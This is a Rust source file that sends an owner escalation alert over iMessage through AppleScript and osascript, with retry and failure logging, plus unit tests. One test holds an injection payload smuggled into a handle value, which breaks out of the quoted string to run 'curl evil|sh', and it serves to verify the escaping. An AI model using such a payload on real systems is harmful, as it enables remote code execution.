use std::fs;
use std::process::Command;
use std::thread;
use std::time::Duration;
use crate::observability;
use netsky_core::config::owner_imessage;
use netsky_core::consts::{
ESCALATE_ERR_FILE, ESCALATE_RETRY_BACKOFF_MS, ESCALATE_TIMEOUT_S, OSASCRIPT_BIN,
};
use netsky_core::paths::{ensure_state_dir, escalate_failed_marker};
use netsky_core::process::run_bounded;
enum Attempt {
Sent,
TimedOut,
Failed(String),
}
pub fn run(subject: &str, body: Option<&str>) -> netsky_core::Result<()> {
let handle = owner_imessage().ok_or_else(|| {
netsky_core::Error::Message(
"owner iMessage handle is unset: set NETSKY_OWNER_IMESSAGE or run \
bin/onboard to write ~/.config/netsky/owner.toml"
.into(),
)
})?;
let ts = chrono::Utc::now().format("%Y-%m-%dT%H:%M:%SZ");
let msg = match body {
Some(b) if !b.is_empty() => format!("[netsky {ts}] {subject}\n\n{b}"),
_ => format!("[netsky {ts}] {subject}"),
};
let escaped_msg = applescript_escape(&msg);
let escaped_handle = applescript_escape(&handle);
let script = format!(
r#"tell application "Messages"
set phoneNum to "{escaped_handle}"
set msg to "{escaped_msg}"
set targetService to 1st service whose service type = iMessage
set targetBuddy to buddy phoneNum of targetService
send msg to targetBuddy
end tell"#,
);
let first = try_send(&script);
if matches!(first, Attempt::Sent) {
record_sent(subject, &msg);
return Ok(());
}
thread::sleep(Duration::from_millis(ESCALATE_RETRY_BACKOFF_MS));
let second = try_send(&script);
if matches!(second, Attempt::Sent) {
record_sent(subject, &msg);
return Ok(());
}
mark_failed(subject, &msg, &first, &second);
bail_for(&second)
}
fn try_send(script: &str) -> Attempt {
let mut cmd = Command::new(OSASCRIPT_BIN);
cmd.arg("-e").arg(script);
let out = match run_bounded(cmd, Duration::from_secs(ESCALATE_TIMEOUT_S)) {
Ok(o) => o,
Err(e) => return Attempt::Failed(format!("spawn error: {e}")),
};
if out.timed_out {
return Attempt::TimedOut;
}
if out.success() {
return Attempt::Sent;
}
let stderr = String::from_utf8_lossy(&out.stderr).into_owned();
let code = out.status.and_then(|s| s.code()).unwrap_or(-1);
Attempt::Failed(format!("exit {code}: {stderr}"))
}
fn record_sent(subject: &str, msg: &str) {
let _ = fs::remove_file(ESCALATE_ERR_FILE);
observability::record_directive(
"escalate",
None,
msg,
Some("imessage"),
None,
Some("sent"),
serde_json::json!({ "subject": subject }),
);
}
fn mark_failed(subject: &str, msg: &str, first: &Attempt, second: &Attempt) {
let last_err = match second {
Attempt::TimedOut => "osascript timed out (retry)".to_string(),
Attempt::Failed(e) => e.clone(),
Attempt::Sent => "unreachable".to_string(),
};
let _ = fs::write(ESCALATE_ERR_FILE, last_err.as_bytes());
let _ = ensure_state_dir();
let ts_path = chrono::Utc::now().format("%Y%m%dT%H%M%SZ").to_string();
let marker_body = format!(
"escalate FAILED twice at {}.\n\
subject: {subject}\n\
first attempt: {}\n\
second attempt: {}\n\
message body:\n{msg}\n",
chrono::Utc::now().format("%Y-%m-%dT%H:%M:%SZ"),
attempt_label(first),
attempt_label(second),
);
let _ = fs::write(escalate_failed_marker(&ts_path), marker_body);
let status = match second {
Attempt::TimedOut => "timeout",
_ => "failed",
};
observability::record_directive(
"escalate",
None,
msg,
Some("imessage"),
None,
Some(status),
serde_json::json!({
"subject": subject,
"first_attempt": attempt_label(first),
"second_attempt": attempt_label(second),
}),
);
}
fn attempt_label(a: &Attempt) -> String {
match a {
Attempt::Sent => "sent".to_string(),
Attempt::TimedOut => "timeout".to_string(),
Attempt::Failed(e) => format!("failed ({e})"),
}
}
fn bail_for(a: &Attempt) -> netsky_core::Result<()> {
match a {
Attempt::TimedOut => {
netsky_core::bail!("osascript timed out after retry ({ESCALATE_TIMEOUT_S}s each)")
}
Attempt::Failed(e) => netsky_core::bail!("osascript failed after retry: {e}"),
Attempt::Sent => Ok(()),
}
}
fn applescript_escape(s: &str) -> String {
s.replace('\\', "\\\\").replace('"', "\\\"")
}
#[cfg(test)]
mod tests {
use super::*;
#[test]
fn applescript_escape_backslash_and_quote() {
assert_eq!(applescript_escape(r#"a"b"#), r#"a\"b"#);
assert_eq!(applescript_escape(r"a\b"), r"a\\b");
assert_eq!(applescript_escape("hello"), "hello");
}
#[test]
fn applescript_escape_closes_injection_payload() {
let handle = r#"+1"
end tell
do shell script "curl evil|sh"
tell application "Messages"
set phoneNum to "x"#;
let escaped = applescript_escape(handle);
let chars: Vec<char> = escaped.chars().collect();
for (i, c) in chars.iter().enumerate() {
if *c == '"' {
assert!(
i > 0 && chars[i - 1] == '\\',
"bare quote at {i}: {escaped}"
);
}
}
}
#[test]
fn attempt_label_formats() {
assert_eq!(attempt_label(&Attempt::Sent), "sent");
assert_eq!(attempt_label(&Attempt::TimedOut), "timeout");
assert_eq!(
attempt_label(&Attempt::Failed("exit 1: nope".into())),
"failed (exit 1: nope)"
);
}
}